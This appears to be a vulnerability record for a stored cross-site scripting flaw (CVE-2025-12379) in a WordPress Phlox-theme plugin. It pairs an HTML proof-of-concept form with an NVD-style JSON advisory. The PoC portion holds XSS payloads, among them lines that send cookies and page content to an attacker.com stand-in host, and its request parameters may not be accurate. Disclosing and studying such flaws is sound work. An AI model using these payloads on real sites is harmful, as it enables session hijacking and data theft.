CVE-2025-12379

<!-- CVE-2025-12379 PoC: Stored XSS via tag parameter --> <!-- Requires Contributor-level access in WordPress --> <!-- Method 1: Using Elementor with malicious tag parameter --> <form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="elementor_ajax" /> <input type="hidden" name="server_edit" value="1" /> <input type="hidden" name="model" value='{"elements":[{"id":"123","elType":"widget","widgetType":"heading-modern","settings":{"title":"Test Heading","tag":"img","title_tag":"script","__globals__":{}}}]}' /> <!-- Inject XSS payload --> <input type="hidden" name="js_vars" value='[{"tag":"img","onerror":"alert(String.fromCharCode(88,83,83))"}]' /> <input type="submit" value="Exploit"> </form> <!-- Simple XSS payload examples --> <!-- <script>alert(document.cookie)</script> --> <!-- <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> --> <!-- <svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.body.innerHTML))>

{"cve": {"id": "CVE-2025-12379", "sourceIdentifier": "[email protected]", "published": "2026-01-10T14:15:49.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Shortcodes and extra features for Phlox theme plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a combination of the 'tag' and ‘title_tag’ parameters in all versions up to, and including, 2.17.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Shortcodes and extra features for Phlox theme para WordPress es vulnerable a cross-site scripting almacenado a través de una combinación de los parámetros 'tag' y 'title_tag' en todas las versiones hasta la 2.17.13, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/auxin-elements/tags/2.17.12/includes/elementor/widgets/heading-modern.php#L1194", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3429103/auxin-elements/trunk/includes/elementor/widgets/heading-modern.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1144e0d9-692e-45a5-ac63-bcdd64a8bd8a?source=cve", "source": "[email protected]"}]}}